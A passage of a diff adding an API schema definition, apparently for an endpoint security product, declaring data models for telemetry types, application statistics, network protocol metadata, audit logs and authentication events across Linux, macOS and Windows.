+          - AGENT_HOST_PROPERTIES_GROUP_LIST
+          - AGENT_HOST_PROPERTIES_NETWORK_INTERFACE_DETAIL
+          - AGENT_HOST_PROPERTIES_NETWORK_INTERFACE_LIST
+          - AGENT_HOST_PROPERTIES_USER_DETAIL
+          - AGENT_HOST_PROPERTIES_USER_LIST
+          - AGENT_HOST_PROPERTIES_WINDOWS_UPDATE_DETAIL
+          - AGENT_HOST_PROPERTIES_WINDOWS_UPDATE_LIST
+          - AGENT_LIST
+          - HOST_PROPERTIES_APPLICATION_LIST
+          - HOST_PROPERTIES_LOCAL_GROUP_LIST
+          - HOST_PROPERTIES_LOCAL_USER_LIST
+          - HOST_PROPERTIES_SUBNETWORK_LIST
+          - HOST_PROPERTIES_WINDOWS_UPDATE_LIST
+          - POLICY_DETAIL
+          - SECURITY_EVENT_LIST
+          - SECURITY_EVENT_PROCESS_TREE
+          - SECURITY_EVENT_RULE
+          - SECURITY_EVENT_STATIC_ANALYSIS
+          - SECURITY_EVENT_SUMMARY
+          - SECURITY_EVENT_TIMELINE
+          - TELEMETRY_AUTHENTICATION_LINUX_LIST
+          - TELEMETRY_AUTHENTICATION_MACOS_LIST
+          - TELEMETRY_AUTHENTICATION_WINDOWS_LIST
+          - TELEMETRY_BINARY_LIST
+          - TELEMETRY_DNS_RESOLUTION_LIST
+          - TELEMETRY_DRIVER_LOAD_LIST
+          - TELEMETRY_EVENT_LOG_LIST
+          - TELEMETRY_FILE_DOWNLOAD_LIST
+          - TELEMETRY_FILE_LIST
+          - TELEMETRY_INJECTED_THREAD_LIST
+          - TELEMETRY_LIBRARY_LOAD_LIST
+          - TELEMETRY_NAMED_PIPE_LIST
+          - TELEMETRY_NETWORK_LIST
+          - TELEMETRY_NETWORK_LISTEN_LIST
+          - TELEMETRY_POWERSHELL_DETAIL
+          - TELEMETRY_POWERSHELL_LIST
+          - TELEMETRY_PROCESS_ACCESS_LIST
+          - TELEMETRY_PROCESS_GRAPH_DETAIL
+          - TELEMETRY_PROCESS_LIST
+          - TELEMETRY_PROCESS_TAMPER_LIST
+          - TELEMETRY_RAW_DEVICE_ACCESS_LIST
+          - TELEMETRY_RAW_SOCKET_CREATION_LIST
+          - TELEMETRY_REGISTRY_LIST
+          - TELEMETRY_REMOTE_THREAD_LIST
+          - TELEMETRY_TIMELINE_LIST
+          - TELEMETRY_URL_REQUEST_LIST
+          - TELEMETRY_WMI_EVENT_LIST
+          - THREAT_ENDPOINTS
+          - THREAT_INTELLIGENCE_DRIVER_BLOCK_LIST_DETAIL
+          - THREAT_INTELLIGENCE_IOC_DETAIL
+          - THREAT_INTELLIGENCE_SIGMA_DETAIL
+          - THREAT_INTELLIGENCE_YARA_DETAIL
+          - THREAT_LIST
+          - THREAT_RULES
+          - THREAT_SUMMARY
+          - THREAT_USERS
+          - VULNERABILITIES_BY_APP
+          - VULNERABILITIES_BY_CVE
+          - VULNERABILITIES_BY_ENDPOINT
+          - VULNERABILITIES_OVERVIEW
+        readOnly: true
+        title: Location type
+        type: string
+      object_id:
+        minLength: 1
+        readOnly: true
+        title: Object id
+        type: string
+        x-nullable: true
+      section_id:
+        minLength: 1
+        readOnly: true
+        title: Section id
+        type: string
+        x-nullable: true
+    type: object
+  AppSettingsJson:
+    properties:
+      app_settings:
+        title: App settings
+        type: object
+    required:
+      - app_settings
+    type: object
+  AppStatistics:
+    properties:
+      active_installations:
+        readOnly: true
+        title: Active installations
+        type: integer
+      app_type:
+        minLength: 1
+        readOnly: true
+        title: App type
+        type: string
+        x-nullable: true
+      cpe_prefix:
+        minLength: 1
+        readOnly: true
+        title: Cpe prefix
+        type: string
+        x-nullable: true
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      first_installation_date:
+        format: date-time
+        readOnly: true
+        title: First installation date
+        type: string
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_installation_date:
+        format: date-time
+        readOnly: true
+        title: Last installation date
+        type: string
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      most_used_version:
+        minLength: 1
+        readOnly: true
+        title: Most used version
+        type: string
+      most_used_version_count:
+        readOnly: true
+        title: Most used version count
+        type: integer
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      newest_version:
+        minLength: 1
+        readOnly: true
+        title: Newest version
+        type: string
+      oldest_version:
+        minLength: 1
+        readOnly: true
+        title: Oldest version
+        type: string
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+      publisher:
+        minLength: 1
+        readOnly: true
+        title: Publisher
+        type: string
+        x-nullable: true
+      total_installations:
+        readOnly: true
+        title: Total installations
+        type: integer
+    type: object
+  ApplicationProtocol:
+    properties:
+      http:
+        $ref: '#/definitions/ApplicationProtocolHttp'
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      ssh:
+        $ref: '#/definitions/ApplicationProtocolSsh'
+      tls:
+        $ref: '#/definitions/ApplicationProtocolTls'
+    required:
+      - http
+      - name
+      - ssh
+      - tls
+    type: object
+  ApplicationProtocolHttp:
+    properties:
+      content_length:
+        title: Content length
+        type: integer
+      content_type:
+        minLength: 1
+        title: Content type
+        type: string
+      non_standard_headers:
+        items:
+          $ref: '#/definitions/KeyValueDoc'
+        type: array
+      request_cookies:
+        minLength: 1
+        title: Request cookies
+        type: string
+      request_host:
+        minLength: 1
+        title: Request host
+        type: string
+      request_method:
+        minLength: 1
+        title: Request method
+        type: string
+      request_path:
+        minLength: 1
+        title: Request path
+        type: string
+      request_referer:
+        minLength: 1
+        title: Request referer
+        type: string
+      request_user_agent:
+        minLength: 1
+        title: Request user agent
+        type: string
+      response_code:
+        title: Response code
+        type: integer
+      response_last_modified:
+        minLength: 1
+        title: Response last modified
+        type: string
+      response_server:
+        minLength: 1
+        title: Response server
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - content_length
+      - content_type
+      - non_standard_headers
+      - request_cookies
+      - request_host
+      - request_method
+      - request_path
+      - request_referer
+      - request_user_agent
+      - response_code
+      - response_last_modified
+      - response_server
+      - version
+    type: object
+  ApplicationProtocolSsh:
+    properties:
+      comments:
+        minLength: 1
+        title: Comments
+        type: string
+      proto_version:
+        minLength: 1
+        title: Proto version
+        type: string
+      server_fingerprint:
+        minLength: 1
+        title: Server fingerprint
+        type: string
+      server_pubkey_and_cert_algo:
+        minLength: 1
+        title: Server pubkey and cert algo
+        type: string
+      software_version:
+        minLength: 1
+        title: Software version
+        type: string
+    required:
+      - comments
+      - proto_version
+      - server_fingerprint
+      - server_pubkey_and_cert_algo
+      - software_version
+    type: object
+  ApplicationProtocolTls:
+    properties:
+      client_hello_alpn:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      client_hello_sni:
+        minLength: 1
+        title: Client hello sni
+        type: string
+      ja3_fingerprint:
+        minLength: 1
+        title: Ja3 fingerprint
+        type: string
+      ja3_raw_text:
+        minLength: 1
+        title: Ja3 raw text
+        type: string
+      ja3n_fingerprint:
+        minLength: 1
+        title: Ja3n fingerprint
+        type: string
+      ja3n_raw_text:
+        minLength: 1
+        title: Ja3n raw text
+        type: string
+      ja3s_fingerprint:
+        minLength: 1
+        title: Ja3s fingerprint
+        type: string
+      ja3s_raw_text:
+        minLength: 1
+        title: Ja3s raw text
+        type: string
+      ja4:
+        minLength: 1
+        title: Ja4
+        type: string
+      ja4_raw_text:
+        minLength: 1
+        title: Ja4 raw text
+        type: string
+      server_alpn:
+        minLength: 1
+        title: Server alpn
+        type: string
+      server_certificates:
+        items:
+          $ref: '#/definitions/Info'
+        type: array
+      tls_version:
+        minLength: 1
+        title: Tls version
+        type: string
+    required:
+      - client_hello_alpn
+      - client_hello_sni
+      - ja3_fingerprint
+      - ja3_raw_text
+      - ja3n_fingerprint
+      - ja3n_raw_text
+      - ja3s_fingerprint
+      - ja3s_raw_text
+      - ja4
+      - ja4_raw_text
+      - server_alpn
+      - server_certificates
+      - tls_version
+    type: object
+  ApplicationVulnerabilitiesAggregationListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/VulnerableApplicationWithCountAggregation'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  Artefact:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      artefact_type:
+        minLength: 1
+        title: Artefact type
+        type: string
+      date:
+        format: date-time
+        title: Date
+        type: string
+      download_status:
+        title: Download status
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      longname:
+        minLength: 1
+        title: Longname
+        type: string
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      shortname:
+        minLength: 1
+        title: Shortname
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - artefact_type
+      - date
+      - download_status
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - longname
+      - msg
+      - sha256
+      - shortname
+      - size
+    type: object
+  AssemblylineScan:
+    properties:
+      scan_date:
+        format: date-time
+        title: Scan date
+        type: string
+    required:
+      - scan_date
+    type: object
+  AssetCompatibilityHistory:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      new_compatibility:
+        enum:
+          - compatible
+          - uncompatible
+          - unknown
+        readOnly: true
+        title: New compatibility
+        type: string
+      old_compatibility:
+        enum:
+          - compatible
+          - uncompatible
+          - unknown
+        readOnly: true
+        title: Old compatibility
+        type: string
+    required:
+      - modifier
+    type: object
+  AssetOSHistory:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      new_os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: New os
+        type: string
+      old_os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Old os
+        type: string
+    required:
+      - modifier
+    type: object
+  AuditLog:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      action_title:
+        minLength: 1
+        title: Action title
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ip_address:
+        minLength: 1
+        title: Ip address
+        type: string
+      log_creation_date:
+        description: creation date of the log
+        format: date-time
+        title: Log creation date
+        type: string
+      log_description:
+        description: humanized sentence to explain to the user what have be done
+        minLength: 1
+        title: Log description
+        type: string
+      log_object:
+        minLength: 1
+        title: Log object
+        type: string
+      log_slug:
+        description: define wich action has been audited
+        minLength: 1
+        title: Log slug
+        type: string
+      request_content:
+        minLength: 1
+        title: Request content
+        type: string
+      request_method:
+        minLength: 1
+        title: Request method
+        type: string
+      request_path:
+        minLength: 1
+        title: Request path
+        type: string
+      response_content:
+        minLength: 1
+        title: Response content
+        type: string
+      response_status_code:
+        minLength: 1
+        title: Response status code
+        type: string
+      response_status_text:
+        minLength: 1
+        title: Response status text
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      user_agent:
+        minLength: 1
+        title: User agent
+        type: string
+      user_roles:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      username:
+        description: username of the user who made the action
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - action_title
+      - id
+      - ip_address
+      - log_creation_date
+      - log_description
+      - log_slug
+      - request_content
+      - request_method
+      - request_path
+      - response_content
+      - response_status_code
+      - response_status_text
+      - tenant
+      - timestamp
+      - user_agent
+      - username
+    type: object
+  AuthenticationLinux:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      auth_status:
+        minLength: 1
+        title: Auth status
+        type: string
+      auth_type:
+        minLength: 1
+        title: Auth type
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      linux:
+        $ref: '#/definitions/AuthenticationLoginLinux'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      macos:
+        $ref: '#/definitions/AuthenticationLoginMacos'
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_commandline:
+        minLength: 1
+        title: Process commandline
+        type: string
+      process_imagename:
+        minLength: 1
+        title: Process imagename
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      source_address:
+        minLength: 1
+        title: Source address
+        type: string
+      source_address_geoip:
+        $ref: '#/definitions/GeoIP'
+      source_agent_hostname:
+        minLength: 1
+        title: Source agent hostname
+        type: string
+      source_agent_id:
+        minLength: 1
+        title: Source agent id
+        type: string
+      source_domain:
+        minLength: 1
+        title: Source domain
+        type: string
+      source_user:
+        minLength: 1
+        title: Source user
+        type: string
+      source_username:
+        minLength: 1
+        title: Source username
+        type: string
+      success:
+        title: Success
+        type: boolean
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_user:
+        minLength: 1
+        title: Target user
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+      technique:
+        minLength: 1
+        title: Technique
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      windows:
+        $ref: '#/definitions/AuthenticationLoginWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - auth_status
+      - auth_type
+      - event_type
+      - groups
+      - id
+      - linux
+      - log_type
+      - macos
+      - msg
+      - pid
+      - process_commandline
+      - process_imagename
+      - process_name
+      - process_unique_id
+      - source_address
+      - source_address_geoip
+      - source_agent_hostname
+      - source_agent_id
+      - source_domain
+      - source_user
+      - source_username
+      - success
+      - tactic
+      - target_domain
+      - target_user
+      - target_username
+      - technique
+      - tenant
+      - utc_time
+      - windows
+    type: object
+  AuthenticationLogin:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      auth_status:
+        minLength: 1
+        title: Auth status
+        type: string
+      auth_type:
+        minLength: 1
+        title: Auth type
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      linux:
+        $ref: '#/definitions/AuthenticationLoginLinux'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      macos:
+        $ref: '#/definitions/AuthenticationLoginMacos'
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_commandline:
+        minLength: 1
+        title: Process commandline
+        type: string
+      process_imagename:
+        minLength: 1
+        title: Process imagename
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      source_address:
+        minLength: 1
+        title: Source address
+        type: string
+      source_address_geoip:
+        $ref: '#/definitions/GeoIP'
+      source_agent_hostname:
+        minLength: 1
+        title: Source agent hostname
+        type: string
+      source_agent_id:
+        minLength: 1
+        title: Source agent id
+        type: string
+      source_domain:
+        minLength: 1
+        title: Source domain
+        type: string
+      source_user:
+        minLength: 1
+        title: Source user
+        type: string
+      source_username:
+        minLength: 1
+        title: Source username
+        type: string
+      success:
+        title: Success
+        type: boolean
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_user:
+        minLength: 1
+        title: Target user
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+      technique:
+        minLength: 1
+        title: Technique
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      windows:
+        $ref: '#/definitions/AuthenticationLoginWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - auth_status
+      - auth_type
+      - event_type
+      - groups
+      - id
+      - linux
+      - log_type
+      - macos
+      - msg
+      - pid
+      - process_commandline
+      - process_imagename
+      - process_name
+      - process_unique_id
+      - source_address
+      - source_address_geoip
+      - source_agent_hostname
+      - source_agent_id
+      - source_domain
+      - source_user
+      - source_username
+      - success
+      - tactic
+      - target_domain
+      - target_user
+      - target_username
+      - technique
+      - tenant
+      - utc_time
+      - windows
+    type: object
+  AuthenticationLoginLinux:
+    properties:
+      target_gid:
+        title: Target gid
+        type: integer
+      target_group:
+        minLength: 1
+        title: Target group
+        type: string
+      target_uid:
+        title: Target uid
+        type: integer
+      tty:
+        minLength: 1
+        title: Tty
+        type: string
+    required:
+      - target_gid
+      - target_group
+      - target_uid
+      - tty
+    type: object
+  AuthenticationLoginMacos:
+    properties:
+      auto_unlock_type:
+        minLength: 1
+        title: Auto unlock type
+        type: string
+      graphical_session_id:
+        title: Graphical session id
+        type: integer
+      login_type:
+        minLength: 1
+        title: Login type
+        type: string
+      open_directory_db_path:
+        minLength: 1
+        title: Open directory db path
+        type: string
+      open_directory_node_name:
+        minLength: 1
+        title: Open directory node name
+        type: string
+      open_directory_record_name:
+        minLength: 1
+        title: Open directory record name
+        type: string
+      open_directory_record_type:
+        minLength: 1
+        title: Open directory record type
+        type: string
+      open_ssh_login_result:
+        minLength: 1
+        title: Open ssh login result
+        type: string
+      screensharing_authentication_type:
+        minLength: 1
+        title: Screensharing authentication type
+        type: string
+      screensharing_existing_session:
+        title: Screensharing existing session
+        type: boolean
+      screensharing_viewer_appleid:
+        minLength: 1
+        title: Screensharing viewer appleid
+        type: string
+      token_id:
+        minLength: 1
+        title: Token id
+        type: string
+      token_kerberos_principal:
+        minLength: 1
+        title: Token kerberos principal
+        type: string
+      token_pubkey_hash:
+        minLength: 1
+        title: Token pubkey hash
+        type: string
+      touch_id_mode:
+        minLength: 1
+        title: Touch id mode
+        type: string
+      uid:
+        title: Uid
+        type: integer
+    required:
+      - auto_unlock_type
+      - graphical_session_id
+      - login_type
+      - open_directory_db_path
+      - open_directory_node_name
+      - open_directory_record_name
+      - open_directory_record_type
+      - open_ssh_login_result
+      - screensharing_authentication_type
+      - screensharing_existing_session
+      - screensharing_viewer_appleid
+      - token_id
+      - token_kerberos_principal
+      - token_pubkey_hash
+      - touch_id_mode
+      - uid
+    type: object
+  AuthenticationLoginWindows:
+    properties:
+      authentication_package_name:
+        minLength: 1
+        title: Authentication package name
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      event_title:
+        minLength: 1
+        title: Event title
+        type: string
+      failure_reason:
+        minLength: 1
+        title: Failure reason
+        type: string
+      ip_address:
+        minLength: 1
+        title: Ip address
+        type: string
+      ip_port:
+        minLength: 1
+        title: Ip port
+        type: string
+      logon_guid:
+        minLength: 1
+        title: Logon guid
+        type: string
+      logon_process_name:
+        minLength: 1
+        title: Logon process name
+        type: string
+      logon_title:
+        minLength: 1
+        title: Logon title
+        type: string
+      logon_type:
+        title: Logon type
+        type: integer
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      source_logon_id:
+        title: Source logon id
+        type: integer
+      source_sid:
+        minLength: 1
+        title: Source sid
+        type: string
+      status:
+        title: Status
+        type: integer
+      sub_status:
+        title: Sub status
+        type: integer
+      target_logon_id:
+        title: Target logon id
+        type: integer
+      target_sid:
+        minLength: 1
+        title: Target sid
+        type: string
+      workstation_name:
+        minLength: 1
+        title: Workstation name
+        type: string
+    required:
+      - authentication_package_name
+      - event_id
+      - event_title
+      - failure_reason
+      - ip_address
+      - ip_port
+      - logon_guid
+      - logon_process_name
+      - logon_title
+      - logon_type
+      - process_name
+      - source_logon_id
+      - source_sid
+      - status
+      - sub_status
+      - target_logon_id
+      - target_sid
+      - workstation_name
+    type: object
+  AuthenticationLogout:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      auth_status:
+        minLength: 1
+        title: Auth status
+        type: string
+      auth_type:
+        minLength: 1
+        title: Auth type
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      linux:
+        $ref: '#/definitions/AuthenticationLogoutLinux'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      macos:
+        $ref: '#/definitions/AuthenticationLogoutMacos'
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_commandline:
+        minLength: 1
+        title: Process commandline
+        type: string
+      process_imagename:
+        minLength: 1
+        title: Process imagename
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      source_address:
+        minLength: 1
+        title: Source address
+        type: string
+      source_address_geoip:
+        $ref: '#/definitions/GeoIP'
+      source_agent_hostname:
+        minLength: 1
+        title: Source agent hostname
+        type: string
+      source_agent_id:
+        minLength: 1
+        title: Source agent id
+        type: string
+      source_domain:
+        minLength: 1
+        title: Source domain
+        type: string
+      source_user:
+        minLength: 1
+        title: Source user
+        type: string
+      source_username:
+        minLength: 1
+        title: Source username
+        type: string
+      success:
+        title: Success
+        type: boolean
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_user:
+        minLength: 1
+        title: Target user
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+      technique:
+        minLength: 1
+        title: Technique
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      windows:
+        $ref: '#/definitions/AuthenticationLogoutWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - auth_status
+      - auth_type
+      - event_type
+      - groups
+      - id
+      - linux
+      - log_type
+      - macos
+      - pid
+      - process_commandline
+      - process_imagename
+      - process_name
+      - process_unique_id
+      - source_address
+      - source_address_geoip
+      - source_agent_hostname
+      - source_agent_id
+      - source_domain
+      - source_user
+      - source_username
+      - success
+      - tactic
+      - target_domain
+      - target_user
+      - target_username
+      - technique
+      - tenant
+      - utc_time
+      - windows
+    type: object
+  AuthenticationLogoutLinux:
+    properties:
+      target_gid:
+        title: Target gid
+        type: integer
+      target_group:
+        minLength: 1
+        title: Target group
+        type: string
+      target_uid:
+        title: Target uid
+        type: integer
+      tty:
+        minLength: 1
+        title: Tty
+        type: string
+    required:
+      - target_gid
+      - target_group
+      - target_uid
+      - tty
+    type: object
+  AuthenticationLogoutMacos:
+    properties:
+      graphical_session_id:
+        title: Graphical session id
+        type: integer
+      logout_type:
+        minLength: 1
+        title: Logout type
+        type: string
+      screensharing_viewer_appleid:
+        minLength: 1
+        title: Screensharing viewer appleid
+        type: string
+      uid:
+        title: Uid
+        type: integer
+    required:
+      - graphical_session_id
+      - logout_type
+      - screensharing_viewer_appleid
+      - uid
+    type: object
+  AuthenticationLogoutWindows:
+    properties:
+      event_id:
+        title: Event id
+        type: integer
+      event_title:
+        minLength: 1
+        title: Event title
+        type: string
+      logon_title:
+        minLength: 1
+        title: Logon title
+        type: string
+      logon_type:
+        title: Logon type
+        type: integer
+      target_logon_id:
+        title: Target logon id
+        type: integer
+      target_sid:
+        minLength: 1
+        title: Target sid
+        type: string
+    required:
+      - event_id
+      - event_title
+      - logon_title
+      - logon_type
+      - target_logon_id
+      - target_sid
+    type: object
+  AuthenticationMacos:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      auth_status:
+        minLength: 1
+        title: Auth status
+        type: string
+      auth_type:
+        minLength: 1
+        title: Auth type
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      linux:
+        $ref: '#/definitions/AuthenticationLoginLinux'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      macos:
+        $ref: '#/definitions/AuthenticationLoginMacos'
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_commandline:
+        minLength: 1
+        title: Process commandline
+        type: string
+      process_imagename:
+        minLength: 1
+        title: Process imagename
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      source_address:
+        minLength: 1
+        title: Source address
+        type: string
+      source_address_geoip:
+        $ref: '#/definitions/GeoIP'
+      source_agent_hostname:
+        minLength: 1
+        title: Source agent hostname
+        type: string
+      source_agent_id:
+        minLength: 1
+        title: Source agent id
+        type: string
+      source_domain:
+        minLength: 1
+        title: Source domain
+        type: string
+      source_user:
+        minLength: 1
+        title: Source user
+        type: string
+      source_username:
+        minLength: 1
+        title: Source username
+        type: string
+      success:
+        title: Success
+        type: boolean
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_user:
+        minLength: 1
+        title: Target user
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+      technique:
+        minLength: 1
+        title: Technique
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      windows:
+        $ref: '#/definitions/AuthenticationLoginWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - auth_status
+      - auth_type
+      - event_type
+      - groups
+      - id
+      - linux
+      - log_type
+      - macos
+      - msg
+      - pid
+      - process_commandline
+      - process_imagename
+      - process_name
+      - process_unique_id
+      - source_address
+      - source_address_geoip
+      - source_agent_hostname
+      - source_agent_id
+      - source_domain
+      - source_user
+      - source_username
+      - success
+      - tactic
+      - target_domain
+      - target_user
+      - target_username
+      - technique
+      - tenant
+      - utc_time
+      - windows
+    type: object
+  AuthenticationWindows:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      auth_status:
+        minLength: 1
+        title: Auth status
+        type: string
+      auth_type:
+        minLength: 1
+        title: Auth type
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      linux:
+        $ref: '#/definitions/AuthenticationLoginLinux'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      macos:
+        $ref: '#/definitions/AuthenticationLoginMacos'
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_commandline:
+        minLength: 1
+        title: Process commandline
+        type: string
+      process_imagename:
+        minLength: 1
+        title: Process imagename
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      source_address:
+        minLength: 1
+        title: Source address
+        type: string
+      source_address_geoip:
+        $ref: '#/definitions/GeoIP'
+      source_agent_hostname:
+        minLength: 1
+        title: Source agent hostname
+        type: string
+      source_agent_id:
+        minLength: 1
+        title: Source agent id
+        type: string
+      source_domain:
+        minLength: 1
+        title: Source domain
+        type: string
+      source_user:
+        minLength: 1
+        title: Source user
+        type: string
+      source_username:
+        minLength: 1
+        title: Source username
+        type: string
+      success:
+        title: Success
+        type: boolean
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      target_domain:
+        minLength: 1
+        title: Target domain
+        type: string
+      target_user:
+        minLength: 1
+        title: Target user
+        type: string
+      target_username:
+        minLength: 1
+        title: Target username
+        type: string
+      technique:
+        minLength: 1
+        title: Technique
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
